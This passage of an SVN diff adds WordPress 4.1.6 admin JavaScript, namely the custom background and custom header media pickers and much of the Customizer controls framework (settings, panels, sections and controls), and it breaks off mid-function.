+		},
+
+		enableSortables: function() {
+			if ( $sortables.length ) {
+				try {
+					$sortables.sortable('enable');
+				} catch(e) {}
+			}
+		}
+	};
+
+	window.wpResponsive.init();
+	setPinMenu();
+
+	$document.on( 'wp-window-resized.pin-menu postboxes-columnchange.pin-menu postbox-toggled.pin-menu wp-collapse-menu.pin-menu wp-scroll-start.pin-menu', setPinMenu );
+});
+
+// Fire a custom jQuery event at the end of window resize
+( function() {
+	var timeout;
+
+	function triggerEvent() {
+		$(document).trigger( 'wp-window-resized' );
+	}
+
+	function fireOnce() {
+		window.clearTimeout( timeout );
+		timeout = window.setTimeout( triggerEvent, 200 );
+	}
+
+	$(window).on( 'resize.wp-fire-once', fireOnce );
+}());
+
+// Make Windows 8 devices play along nicely.
+(function(){
+	if ( '-ms-user-select' in document.documentElement.style && navigator.userAgent.match(/IEMobile\/10\.0/) ) {
+		var msViewportStyle = document.createElement( 'style' );
+		msViewportStyle.appendChild(
+			document.createTextNode( '@-ms-viewport{width:auto!important}' )
+		);
+		document.getElementsByTagName( 'head' )[0].appendChild( msViewportStyle );
+	}
+})();
+
+}( jQuery, window ));
Index: /tags/4.1.6/src/wp-admin/js/custom-background.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/custom-background.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/custom-background.js	(revision 33402)
@@ -0,0 +1,75 @@
+/* global ajaxurl */
+(function($) {
+	$(document).ready(function() {
+		var frame,
+			bgImage = $( '#custom-background-image' );
+
+		$('#background-color').wpColorPicker({
+			change: function( event, ui ) {
+				bgImage.css('background-color', ui.color.toString());
+			},
+			clear: function() {
+				bgImage.css('background-color', '');
+			}
+		});
+
+		$('input[name="background-position-x"]').change(function() {
+			bgImage.css('background-position', $(this).val() + ' top');
+		});
+
+		$('input[name="background-repeat"]').change(function() {
+			bgImage.css('background-repeat', $(this).val());
+		});
+
+		$('#choose-from-library-link').click( function( event ) {
+			var $el = $(this);
+
+			event.preventDefault();
+
+			// If the media frame already exists, reopen it.
+			if ( frame ) {
+				frame.open();
+				return;
+			}
+
+			// Create the media frame.
+			frame = wp.media.frames.customBackground = wp.media({
+				// Set the title of the modal.
+				title: $el.data('choose'),
+
+				// Tell the modal to show only images.
+				library: {
+					type: 'image'
+				},
+
+				// Customize the submit button.
+				button: {
+					// Set the text of the button.
+					text: $el.data('update'),
+					// Tell the button not to close the modal, since we're
+					// going to refresh the page when the image is selected.
+					close: false
+				}
+			});
+
+			// When an image is selected, run a callback.
+			frame.on( 'select', function() {
+				// Grab the selected attachment.
+				var attachment = frame.state().get('selection').first();
+
+				// Run an AJAX request to set the background image.
+				$.post( ajaxurl, {
+					action: 'set-background-image',
+					attachment_id: attachment.id,
+					size: 'full'
+				}).done( function() {
+					// When the request completes, reload the window.
+					window.location.reload();
+				});
+			});
+
+			// Finally, open the modal.
+			frame.open();
+		});
+	});
+})(jQuery);
Index: /tags/4.1.6/src/wp-admin/js/custom-header.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/custom-header.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/custom-header.js	(revision 33402)
@@ -0,0 +1,61 @@
+/* global isRtl */
+(function($) {
+	var frame;
+
+	$( function() {
+		// Fetch available headers and apply jQuery.masonry
+		// once the images have loaded.
+		var $headers = $('.available-headers');
+
+		$headers.imagesLoaded( function() {
+			$headers.masonry({
+				itemSelector: '.default-header',
+				isRTL: !! ( 'undefined' != typeof isRtl && isRtl )
+			});
+		});
+
+		// Build the choose from library frame.
+		$('#choose-from-library-link').click( function( event ) {
+			var $el = $(this);
+			event.preventDefault();
+
+			// If the media frame already exists, reopen it.
+			if ( frame ) {
+				frame.open();
+				return;
+			}
+
+			// Create the media frame.
+			frame = wp.media.frames.customHeader = wp.media({
+				// Set the title of the modal.
+				title: $el.data('choose'),
+
+				// Tell the modal to show only images.
+				library: {
+					type: 'image'
+				},
+
+				// Customize the submit button.
+				button: {
+					// Set the text of the button.
+					text: $el.data('update'),
+					// Tell the button not to close the modal, since we're
+					// going to refresh the page when the image is selected.
+					close: false
+				}
+			});
+
+			// When an image is selected, run a callback.
+			frame.on( 'select', function() {
+				// Grab the selected attachment.
+				var attachment = frame.state().get('selection').first(),
+					link = $el.data('updateLink');
+
+				// Tell the browser to navigate to the crop step.
+				window.location = link + '&file=' + attachment.id;
+			});
+
+			frame.open();
+		});
+	});
+}(jQuery));
Index: /tags/4.1.6/src/wp-admin/js/customize-controls.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/customize-controls.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/customize-controls.js	(revision 33402)
@@ -0,0 +1,2347 @@
+/* globals _wpCustomizeHeader, _wpCustomizeBackground, _wpMediaViewsL10n */
+(function( exports, $ ){
+	var Container, focus, api = wp.customize;
+
+	/**
+	 * @class
+	 * @augments wp.customize.Value
+	 * @augments wp.customize.Class
+	 *
+	 * @param options
+	 * - previewer - The Previewer instance to sync with.
+	 * - transport - The transport to use for previewing. Supports 'refresh' and 'postMessage'.
+	 */
+	api.Setting = api.Value.extend({
+		initialize: function( id, value, options ) {
+			api.Value.prototype.initialize.call( this, value, options );
+
+			this.id = id;
+			this.transport = this.transport || 'refresh';
+
+			this.bind( this.preview );
+		},
+		preview: function() {
+			switch ( this.transport ) {
+				case 'refresh':
+					return this.previewer.refresh();
+				case 'postMessage':
+					return this.previewer.send( 'setting', [ this.id, this() ] );
+			}
+		}
+	});
+
+	/**
+	 * Utility function namespace
+	 */
+	api.utils = {};
+
+	/**
+	 * Watch all changes to Value properties, and bubble changes to parent Values instance
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param {wp.customize.Class} instance
+	 * @param {Array}              properties  The names of the Value instances to watch.
+	 */
+	api.utils.bubbleChildValueChanges = function ( instance, properties ) {
+		$.each( properties, function ( i, key ) {
+			instance[ key ].bind( function ( to, from ) {
+				if ( instance.parent && to !== from ) {
+					instance.parent.trigger( 'change', instance );
+				}
+			} );
+		} );
+	};
+
+	/**
+	 * Expand a panel, section, or control and focus on the first focusable element.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param {Object}   [params]
+	 * @param {Callback} [params.completeCallback]
+	 */
+	focus = function ( params ) {
+		var construct, completeCallback, focus;
+		construct = this;
+		params = params || {};
+		focus = function () {
+			construct.container.find( ':focusable:first' ).focus();
+			construct.container[0].scrollIntoView( true );
+		};
+		if ( params.completeCallback ) {
+			completeCallback = params.completeCallback;
+			params.completeCallback = function () {
+				focus();
+				completeCallback();
+			};
+		} else {
+			params.completeCallback = focus;
+		}
+		if ( construct.expand ) {
+			construct.expand( params );
+		} else {
+			params.completeCallback();
+		}
+	};
+
+	/**
+	 * Stable sort for Panels, Sections, and Controls.
+	 *
+	 * If a.priority() === b.priority(), then sort by their respective params.instanceNumber.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param {(wp.customize.Panel|wp.customize.Section|wp.customize.Control)} a
+	 * @param {(wp.customize.Panel|wp.customize.Section|wp.customize.Control)} b
+	 * @returns {Number}
+	 */
+	api.utils.prioritySort = function ( a, b ) {
+		if ( a.priority() === b.priority() && typeof a.params.instanceNumber === 'number' && typeof b.params.instanceNumber === 'number' ) {
+			return a.params.instanceNumber - b.params.instanceNumber;
+		} else {
+			return a.priority() - b.priority();
+		}
+	};
+
+	/**
+	 * Return whether the supplied Event object is for a keydown event but not the Enter key.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param {jQuery.Event} event
+	 * @returns {boolean}
+	 */
+	api.utils.isKeydownButNotEnterEvent = function ( event ) {
+		return ( 'keydown' === event.type && 13 !== event.which );
+	};
+
+	/**
+	 * Return whether the two lists of elements are the same and are in the same order.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param {Array|jQuery} listA
+	 * @param {Array|jQuery} listB
+	 * @returns {boolean}
+	 */
+	api.utils.areElementListsEqual = function ( listA, listB ) {
+		var equal = (
+			listA.length === listB.length && // if lists are different lengths, then naturally they are not equal
+			-1 === _.indexOf( _.map( // are there any false values in the list returned by map?
+				_.zip( listA, listB ), // pair up each element between the two lists
+				function ( pair ) {
+					return $( pair[0] ).is( pair[1] ); // compare to see if each pair are equal
+				}
+			), false ) // check for presence of false in map's return value
+		);
+		return equal;
+	};
+
+	/**
+	 * Base class for Panel and Section.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @class
+	 * @augments wp.customize.Class
+	 */
+	Container = api.Class.extend({
+		defaultActiveArguments: { duration: 'fast', completeCallback: $.noop },
+		defaultExpandedArguments: { duration: 'fast', completeCallback: $.noop },
+
+		/**
+		 * @since 4.1.0
+		 *
+		 * @param {String} id
+		 * @param {Object} options
+		 */
+		initialize: function ( id, options ) {
+			var container = this;
+			container.id = id;
+			container.params = {};
+			$.extend( container, options || {} );
+			container.container = $( container.params.content );
+
+			container.deferred = {
+				embedded: new $.Deferred()
+			};
+			container.priority = new api.Value();
+			container.active = new api.Value();
+			container.activeArgumentsQueue = [];
+			container.expanded = new api.Value();
+			container.expandedArgumentsQueue = [];
+
+			container.active.bind( function ( active ) {
+				var args = container.activeArgumentsQueue.shift();
+				args = $.extend( {}, container.defaultActiveArguments, args );
+				active = ( active && container.isContextuallyActive() );
+				container.onChangeActive( active, args );
+			});
+			container.expanded.bind( function ( expanded ) {
+				var args = container.expandedArgumentsQueue.shift();
+				args = $.extend( {}, container.defaultExpandedArguments, args );
+				container.onChangeExpanded( expanded, args );
+			});
+
+			container.attachEvents();
+
+			api.utils.bubbleChildValueChanges( container, [ 'priority', 'active' ] );
+
+			container.priority.set( isNaN( container.params.priority ) ? 100 : container.params.priority );
+			container.active.set( container.params.active );
+			container.expanded.set( false );
+		},
+
+		/**
+		 * @since 4.1.0
+		 *
+		 * @abstract
+		 */
+		ready: function() {},
+
+		/**
+		 * Get the child models associated with this parent, sorting them by their priority Value.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @param {String} parentType
+		 * @param {String} childType
+		 * @returns {Array}
+		 */
+		_children: function ( parentType, childType ) {
+			var parent = this,
+				children = [];
+			api[ childType ].each( function ( child ) {
+				if ( child[ parentType ].get() === parent.id ) {
+					children.push( child );
+				}
+			} );
+			children.sort( api.utils.prioritySort );
+			return children;
+		},
+
+		/**
+		 * To override by subclass, to return whether the container has active children.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @abstract
+		 */
+		isContextuallyActive: function () {
+			throw new Error( 'Container.isContextuallyActive() must be overridden in a subclass.' );
+		},
+
+		/**
+		 * Handle changes to the active state.
+		 *
+		 * This does not change the active state, it merely handles the behavior
+		 * for when it does change.
+		 *
+		 * To override by subclass, update the container's UI to reflect the provided active state.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @param {Boolean} active
+		 * @param {Object}  args
+		 * @param {Object}  args.duration
+		 * @param {Object}  args.completeCallback
+		 */
+		onChangeActive: function ( active, args ) {
+			var duration = ( 'resolved' === api.previewer.deferred.active.state() ? args.duration : 0 );
+			if ( ! $.contains( document, this.container ) ) {
+				// jQuery.fn.slideUp is not hiding an element if it is not in the DOM
+				this.container.toggle( active );
+				if ( args.completeCallback ) {
+					args.completeCallback();
+				}
+			} else if ( active ) {
+				this.container.stop( true, true ).slideDown( duration, args.completeCallback );
+			} else {
+				this.container.stop( true, true ).slideUp( duration, args.completeCallback );
+			}
+		},
+
+		/**
+		 * @since 4.1.0
+		 *
+		 * @params {Boolean} active
+		 * @param {Object}   [params]
+		 * @returns {Boolean} false if state already applied
+		 */
+		_toggleActive: function ( active, params ) {
+			var self = this;
+			params = params || {};
+			if ( ( active && this.active.get() ) || ( ! active && ! this.active.get() ) ) {
+				params.unchanged = true;
+				self.onChangeActive( self.active.get(), params );
+				return false;
+			} else {
+				params.unchanged = false;
+				this.activeArgumentsQueue.push( params );
+				this.active.set( active );
+				return true;
+			}
+		},
+
+		/**
+		 * @param {Object} [params]
+		 * @returns {Boolean} false if already active
+		 */
+		activate: function ( params ) {
+			return this._toggleActive( true, params );
+		},
+
+		/**
+		 * @param {Object} [params]
+		 * @returns {Boolean} false if already inactive
+		 */
+		deactivate: function ( params ) {
+			return this._toggleActive( false, params );
+		},
+
+		/**
+		 * To override by subclass, update the container's UI to reflect the provided active state.
+		 * @abstract
+		 */
+		onChangeExpanded: function () {
+			throw new Error( 'Must override with subclass.' );
+		},
+
+		/**
+		 * @param {Boolean} expanded
+		 * @param {Object} [params]
+		 * @returns {Boolean} false if state already applied
+		 */
+		_toggleExpanded: function ( expanded, params ) {
+			var self = this;
+			params = params || {};
+			if ( ( expanded && this.expanded.get() ) || ( ! expanded && ! this.expanded.get() ) ) {
+				params.unchanged = true;
+				self.onChangeExpanded( self.expanded.get(), params );
+				return false;
+			} else {
+				params.unchanged = false;
+				this.expandedArgumentsQueue.push( params );
+				this.expanded.set( expanded );
+				return true;
+			}
+		},
+
+		/**
+		 * @param {Object} [params]
+		 * @returns {Boolean} false if already expanded
+		 */
+		expand: function ( params ) {
+			return this._toggleExpanded( true, params );
+		},
+
+		/**
+		 * @param {Object} [params]
+		 * @returns {Boolean} false if already collapsed
+		 */
+		collapse: function ( params ) {
+			return this._toggleExpanded( false, params );
+		},
+
+		/**
+		 * Bring the container into view and then expand this and bring it into view
+		 * @param {Object} [params]
+		 */
+		focus: focus
+	});
+
+	/**
+	 * @since 4.1.0
+	 *
+	 * @class
+	 * @augments wp.customize.Class
+	 */
+	api.Section = Container.extend({
+
+		/**
+		 * @since 4.1.0
+		 *
+		 * @param {String} id
+		 * @param {Array}  options
+		 */
+		initialize: function ( id, options ) {
+			var section = this;
+			Container.prototype.initialize.call( section, id, options );
+
+			section.id = id;
+			section.panel = new api.Value();
+			section.panel.bind( function ( id ) {
+				$( section.container ).toggleClass( 'control-subsection', !! id );
+			});
+			section.panel.set( section.params.panel || '' );
+			api.utils.bubbleChildValueChanges( section, [ 'panel' ] );
+
+			section.embed();
+			section.deferred.embedded.done( function () {
+				section.ready();
+			});
+		},
+
+		/**
+		 * Embed the container in the DOM when any parent panel is ready.
+		 *
+		 * @since 4.1.0
+		 */
+		embed: function () {
+			var section = this, inject;
+
+			// Watch for changes to the panel state
+			inject = function ( panelId ) {
+				var parentContainer;
+				if ( panelId ) {
+					// The panel has been supplied, so wait until the panel object is registered
+					api.panel( panelId, function ( panel ) {
+						// The panel has been registered, wait for it to become ready/initialized
+						panel.deferred.embedded.done( function () {
+							parentContainer = panel.container.find( 'ul:first' );
+							if ( ! section.container.parent().is( parentContainer ) ) {
+								parentContainer.append( section.container );
+							}
+							section.deferred.embedded.resolve();
+						});
+					} );
+				} else {
+					// There is no panel, so embed the section in the root of the customizer
+					parentContainer = $( '#customize-theme-controls' ).children( 'ul' ); // @todo This should be defined elsewhere, and to be configurable
+					if ( ! section.container.parent().is( parentContainer ) ) {
+						parentContainer.append( section.container );
+					}
+					section.deferred.embedded.resolve();
+				}
+			};
+			section.panel.bind( inject );
+			inject( section.panel.get() ); // Since a section may never get a panel, assume that it won't ever get one
+		},
+
+		/**
+		 * Add behaviors for the accordion section.
+		 *
+		 * @since 4.1.0
+		 */
+		attachEvents: function () {
+			var section = this;
+
+			// Expand/Collapse accordion sections on click.
+			section.container.find( '.accordion-section-title' ).on( 'click keydown', function( event ) {
+				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
+					return;
+				}
+				event.preventDefault(); // Keep this AFTER the key filter above
+
+				if ( section.expanded() ) {
+					section.collapse();
+				} else {
+					section.expand();
+				}
+			});
+		},
+
+		/**
+		 * Return whether this section has any active controls.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @returns {Boolean}
+		 */
+		isContextuallyActive: function () {
+			var section = this,
+				controls = section.controls(),
+				activeCount = 0;
+			_( controls ).each( function ( control ) {
+				if ( control.active() ) {
+					activeCount += 1;
+				}
+			} );
+			return ( activeCount !== 0 );
+		},
+
+		/**
+		 * Get the controls that are associated with this section, sorted by their priority Value.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @returns {Array}
+		 */
+		controls: function () {
+			return this._children( 'section', 'control' );
+		},
+
+		/**
+		 * Update UI to reflect expanded state.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @param {Boolean} expanded
+		 * @param {Object}  args
+		 */
+		onChangeExpanded: function ( expanded, args ) {
+			var section = this,
+				content = section.container.find( '.accordion-section-content' ),
+				expand;
+
+			if ( expanded ) {
+
+				if ( args.unchanged ) {
+					expand = args.completeCallback;
+				} else {
+					expand = function () {
+						content.stop().slideDown( args.duration, args.completeCallback );
+						section.container.addClass( 'open' );
+					};
+				}
+
+				if ( ! args.allowMultiple ) {
+					api.section.each( function ( otherSection ) {
+						if ( otherSection !== section ) {
+							otherSection.collapse( { duration: args.duration } );
+						}
+					});
+				}
+
+				if ( section.panel() ) {
+					api.panel( section.panel() ).expand({
+						duration: args.duration,
+						completeCallback: expand
+					});
+				} else {
+					expand();
+				}
+
+			} else {
+				section.container.removeClass( 'open' );
+				content.slideUp( args.duration, args.completeCallback );
+			}
+		}
+	});
+
+	/**
+	 * @since 4.1.0
+	 *
+	 * @class
+	 * @augments wp.customize.Class
+	 */
+	api.Panel = Container.extend({
+		/**
+		 * @since 4.1.0
+		 *
+		 * @param  {String} id
+		 * @param  {Object} options
+		 */
+		initialize: function ( id, options ) {
+			var panel = this;
+			Container.prototype.initialize.call( panel, id, options );
+			panel.embed();
+			panel.deferred.embedded.done( function () {
+				panel.ready();
+			});
+		},
+
+		/**
+		 * Embed the container in the DOM when any parent panel is ready.
+		 *
+		 * @since 4.1.0
+		 */
+		embed: function () {
+			var panel = this,
+				parentContainer = $( '#customize-theme-controls > ul' ); // @todo This should be defined elsewhere, and to be configurable
+
+			if ( ! panel.container.parent().is( parentContainer ) ) {
+				parentContainer.append( panel.container );
+			}
+			panel.deferred.embedded.resolve();
+		},
+
+		/**
+		 * @since 4.1.0
+		 */
+		attachEvents: function () {
+			var meta, panel = this;
+
+			// Expand/Collapse accordion sections on click.
+			panel.container.find( '.accordion-section-title' ).on( 'click keydown', function( event ) {
+				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
+					return;
+				}
+				event.preventDefault(); // Keep this AFTER the key filter above
+
+				if ( ! panel.expanded() ) {
+					panel.expand();
+				}
+			});
+
+			meta = panel.container.find( '.panel-meta:first' );
+
+			meta.find( '> .accordion-section-title' ).on( 'click keydown', function( event ) {
+				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
+					return;
+				}
+				event.preventDefault(); // Keep this AFTER the key filter above
+
+				if ( meta.hasClass( 'cannot-expand' ) ) {
+					return;
+				}
+
+				var content = meta.find( '.accordion-section-content:first' );
+				if ( meta.hasClass( 'open' ) ) {
+					meta.toggleClass( 'open' );
+					content.slideUp( panel.defaultExpandedArguments.duration );
+				} else {
+					content.slideDown( panel.defaultExpandedArguments.duration );
+					meta.toggleClass( 'open' );
+				}
+			});
+
+		},
+
+		/**
+		 * Get the sections that are associated with this panel, sorted by their priority Value.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @returns {Array}
+		 */
+		sections: function () {
+			return this._children( 'panel', 'section' );
+		},
+
+		/**
+		 * Return whether this panel has any active sections.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @returns {boolean}
+		 */
+		isContextuallyActive: function () {
+			var panel = this,
+				sections = panel.sections(),
+				activeCount = 0;
+			_( sections ).each( function ( section ) {
+				if ( section.active() && section.isContextuallyActive() ) {
+					activeCount += 1;
+				}
+			} );
+			return ( activeCount !== 0 );
+		},
+
+		/**
+		 * Update UI to reflect expanded state
+		 *
+		 * @since 4.1.0
+		 *
+		 * @param {Boolean}  expanded
+		 * @param {Object}   args
+		 * @param {Boolean}  args.unchanged
+		 * @param {Callback} args.completeCallback
+		 */
+		onChangeExpanded: function ( expanded, args ) {
+
+			// Immediately call the complete callback if there were no changes
+			if ( args.unchanged ) {
+				if ( args.completeCallback ) {
+					args.completeCallback();
+				}
+				return;
+			}
+
+			// Note: there is a second argument 'args' passed
+			var position, scroll,
+				panel = this,
+				section = panel.container.closest( '.accordion-section' ),
+				overlay = section.closest( '.wp-full-overlay' ),
+				container = section.closest( '.accordion-container' ),
+				siblings = container.find( '.open' ),
+				topPanel = overlay.find( '#customize-theme-controls > ul > .accordion-section > .accordion-section-title' ).add( '#customize-info > .accordion-section-title' ),
+				backBtn = overlay.find( '.control-panel-back' ),
+				panelTitle = section.find( '.accordion-section-title' ).first(),
+				content = section.find( '.control-panel-content' );
+
+			if ( expanded ) {
+
+				// Collapse any sibling sections/panels
+				api.section.each( function ( section ) {
+					if ( ! section.panel() ) {
+						section.collapse( { duration: 0 } );
+					}
+				});
+				api.panel.each( function ( otherPanel ) {
+					if ( panel !== otherPanel ) {
+						otherPanel.collapse( { duration: 0 } );
+					}
+				});
+
+				content.show( 0, function() {
+					position = content.offset().top;
+					scroll = container.scrollTop();
+					content.css( 'margin-top', ( 45 - position - scroll ) );
+					section.addClass( 'current-panel' );
+					overlay.addClass( 'in-sub-panel' );
+					container.scrollTop( 0 );
+					if ( args.completeCallback ) {
+						args.completeCallback();
+					}
+				} );
+				topPanel.attr( 'tabindex', '-1' );
+				backBtn.attr( 'tabindex', '0' );
+				backBtn.focus();
+			} else {
+				siblings.removeClass( 'open' );
+				section.removeClass( 'current-panel' );
+				overlay.removeClass( 'in-sub-panel' );
+				content.delay( 180 ).hide( 0, function() {
+					content.css( 'margin-top', 'inherit' ); // Reset
+					if ( args.completeCallback ) {
+						args.completeCallback();
+					}
+				} );
+				topPanel.attr( 'tabindex', '0' );
+				backBtn.attr( 'tabindex', '-1' );
+				panelTitle.focus();
+				container.scrollTop( 0 );
+			}
+		}
+	});
+
+	/**
+	 * A Customizer Control.
+	 *
+	 * A control provides a UI element that allows a user to modify a Customizer Setting.
+	 *
+	 * @see PHP class WP_Customize_Control.
+	 *
+	 * @class
+	 * @augments wp.customize.Class
+	 *
+	 * @param {string} id                            Unique identifier for the control instance.
+	 * @param {object} options                       Options hash for the control instance.
+	 * @param {object} options.params
+	 * @param {object} options.params.type           Type of control (e.g. text, radio, dropdown-pages, etc.)
+	 * @param {string} options.params.content        The HTML content for the control.
+	 * @param {string} options.params.priority       Order of priority to show the control within the section.
+	 * @param {string} options.params.active
+	 * @param {string} options.params.section
+	 * @param {string} options.params.label
+	 * @param {string} options.params.description
+	 * @param {string} options.params.instanceNumber Order in which this instance was created in relation to other instances.
+	 */
+	api.Control = api.Class.extend({
+		defaultActiveArguments: { duration: 'fast', completeCallback: $.noop },
+
+		initialize: function( id, options ) {
+			var control = this,
+				nodes, radios, settings;
+
+			control.params = {};
+			$.extend( control, options || {} );
+			control.id = id;
+			control.selector = '#customize-control-' + id.replace( /\]/g, '' ).replace( /\[/g, '-' );
+			control.templateSelector = 'customize-control-' + control.params.type + '-content';
+			control.container = control.params.content ? $( control.params.content ) : $( control.selector );
+
+			control.deferred = {
+				embedded: new $.Deferred()
+			};
+			control.section = new api.Value();
+			control.priority = new api.Value();
+			control.active = new api.Value();
+			control.activeArgumentsQueue = [];
+
+			control.elements = [];
+
+			nodes  = control.container.find('[data-customize-setting-link]');
+			radios = {};
+
+			nodes.each( function() {
+				var node = $( this ),
+					name;
+
+				if ( node.is( ':radio' ) ) {
+					name = node.prop( 'name' );
+					if ( radios[ name ] ) {
+						return;
+					}
+
+					radios[ name ] = true;
+					node = nodes.filter( '[name="' + name + '"]' );
+				}
+
+				api( node.data( 'customizeSettingLink' ), function( setting ) {
+					var element = new api.Element( node );
+					control.elements.push( element );
+					element.sync( setting );
+					element.set( setting() );
+				});
+			});
+
+			control.active.bind( function ( active ) {
+				var args = control.activeArgumentsQueue.shift();
+				args = $.extend( {}, control.defaultActiveArguments, args );
+				control.onChangeActive( active, args );
+			} );
+
+			control.section.set( control.params.section );
+			control.priority.set( isNaN( control.params.priority ) ? 10 : control.params.priority );
+			control.active.set( control.params.active );
+
+			api.utils.bubbleChildValueChanges( control, [ 'section', 'priority', 'active' ] );
+
+			// Associate this control with its settings when they are created
+			settings = $.map( control.params.settings, function( value ) {
+				return value;
+			});
+			api.apply( api, settings.concat( function () {
+				var key;
+
+				control.settings = {};
+				for ( key in control.params.settings ) {
+					control.settings[ key ] = api( control.params.settings[ key ] );
+				}
+
+				control.setting = control.settings['default'] || null;
+
+				control.embed();
+			}) );
+
+			control.deferred.embedded.done( function () {
+				control.ready();
+			});
+		},
+
+		/**
+		 * Embed the control into the page.
+		 */
+		embed: function () {
+			var control = this,
+				inject;
+
+			// Watch for changes to the section state
+			inject = function ( sectionId ) {
+				var parentContainer;
+				if ( ! sectionId ) { // @todo allow a control to be embedded without a section, for instance a control embedded in the frontend
+					return;
+				}
+				// Wait for the section to be registered
+				api.section( sectionId, function ( section ) {
+					// Wait for the section to be ready/initialized
+					section.deferred.embedded.done( function () {
+						parentContainer = section.container.find( 'ul:first' );
+						if ( ! control.container.parent().is( parentContainer ) ) {
+							parentContainer.append( control.container );
+							control.renderContent();
+						}
+						control.deferred.embedded.resolve();
+					});
+				});
+			};
+			control.section.bind( inject );
+			inject( control.section.get() );
+		},
+
+		/**
+		 * Triggered when the control's markup has been injected into the DOM.
+		 *
+		 * @abstract
+		 */
+		ready: function() {},
+
+		/**
+		 * Normal controls do not expand, so just expand its parent
+		 *
+		 * @param {Object} [params]
+		 */
+		expand: function ( params ) {
+			api.section( this.section() ).expand( params );
+		},
+
+		/**
+		 * Bring the containing section and panel into view and then
+		 * this control into view, focusing on the first input.
+		 */
+		focus: focus,
+
+		/**
+		 * Update UI in response to a change in the control's active state.
+		 * This does not change the active state, it merely handles the behavior
+		 * for when it does change.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @param {Boolean}  active
+		 * @param {Object}   args
+		 * @param {Number}   args.duration
+		 * @param {Callback} args.completeCallback
+		 */
+		onChangeActive: function ( active, args ) {
+			if ( ! $.contains( document, this.container ) ) {
+				// jQuery.fn.slideUp is not hiding an element if it is not in the DOM
+				this.container.toggle( active );
+				if ( args.completeCallback ) {
+					args.completeCallback();
+				}
+			} else if ( active ) {
+				this.container.slideDown( args.duration, args.completeCallback );
+			} else {
+				this.container.slideUp( args.duration, args.completeCallback );
+			}
+		},
+
+		/**
+		 * @deprecated 4.1.0 Use this.onChangeActive() instead.
+		 */
+		toggle: function ( active ) {
+			return this.onChangeActive( active, this.defaultActiveArguments );
+		},
+
+		/**
+		 * Shorthand way to enable the active state.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @param {Object} [params]
+		 * @returns {Boolean} false if already active
+		 */
+		activate: Container.prototype.activate,
+
+		/**
+		 * Shorthand way to disable the active state.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @param {Object} [params]
+		 * @returns {Boolean} false if already inactive
+		 */
+		deactivate: Container.prototype.deactivate,
+
+		/**
+		 * Re-use _toggleActive from Container class.
+		 *
+		 * @access private
+		 */
+		_toggleActive: Container.prototype._toggleActive,
+
+		dropdownInit: function() {
+			var control      = this,
+				statuses     = this.container.find('.dropdown-status'),
+				params       = this.params,
+				toggleFreeze = false,
+				update       = function( to ) {
+					if ( typeof to === 'string' && params.statuses && params.statuses[ to ] )
+						statuses.html( params.statuses[ to ] ).show();
+					else
+						statuses.hide();
+				};
+
+			// Support the .dropdown class to open/close complex elements
+			this.container.on( 'click keydown', '.dropdown', function( event ) {
+				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
+					return;
+				}
+
+				event.preventDefault();
+
+				if (!toggleFreeze)
+					control.container.toggleClass('open');
+
+				if ( control.container.hasClass('open') )
+					control.container.parent().parent().find('li.library-selected').focus();
+
+				// Don't want to fire focus and click at same time
+				toggleFreeze = true;
+				setTimeout(function () {
+					toggleFreeze = false;
+				}, 400);
+			});
+
+			this.setting.bind( update );
+			update( this.setting() );
+		},
+
+		/**
+		 * Render the control from its JS template, if it exists.
+		 *
+		 * The control's container must already exist in the DOM.
+		 *
+		 * @since 4.1.0
+		 */
+		renderContent: function () {
+			var template,
+				control = this;
+
+			// Replace the container element's content with the control.
+			if ( 0 !== $( '#tmpl-' + control.templateSelector ).length ) {
+				template = wp.template( control.templateSelector );
+				if ( template && control.container ) {
+					control.container.html( template( control.params ) );
+				}
+			}
+		}
+	});
+
+	/**
+	 * A colorpicker control.
+	 *
+	 * @class
+	 * @augments wp.customize.Control
+	 * @augments wp.customize.Class
+	 */
+	api.ColorControl = api.Control.extend({
+		ready: function() {
+			var control = this,
+				picker = this.container.find('.color-picker-hex');
+
+			picker.val( control.setting() ).wpColorPicker({
+				change: function() {
+					control.setting.set( picker.wpColorPicker('color') );
+				},
+				clear: function() {
+					control.setting.set( false );
+				}
+			});
+
+			this.setting.bind( function ( value ) {
+				picker.val( value );
+				picker.wpColorPicker( 'color', value );
+			});
+		}
+	});
+
+	/**
+	 * An upload control, which utilizes the media modal.
+	 *
+	 * @class
+	 * @augments wp.customize.Control
+	 * @augments wp.customize.Class
+	 */
+	api.UploadControl = api.Control.extend({
+
+		/**
+		 * When the control's DOM structure is ready,
+		 * set up internal event bindings.
+		 */
+		ready: function() {
+			var control = this;
+			// Shortcut so that we don't have to use _.bind every time we add a callback.
+			_.bindAll( control, 'restoreDefault', 'removeFile', 'openFrame', 'select' );
+
+			// Bind events, with delegation to facilitate re-rendering.
+			control.container.on( 'click keydown', '.upload-button', control.openFrame );
+			control.container.on( 'click keydown', '.thumbnail-image img', control.openFrame );
+			control.container.on( 'click keydown', '.default-button', control.restoreDefault );
+			control.container.on( 'click keydown', '.remove-button', control.removeFile );
+
+			// Re-render whenever the control's setting changes.
+			control.setting.bind( function () { control.renderContent(); } );
+		},
+
+		/**
+		 * Open the media modal.
+		 */
+		openFrame: function( event ) {
+			if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
+				return;
+			}
+
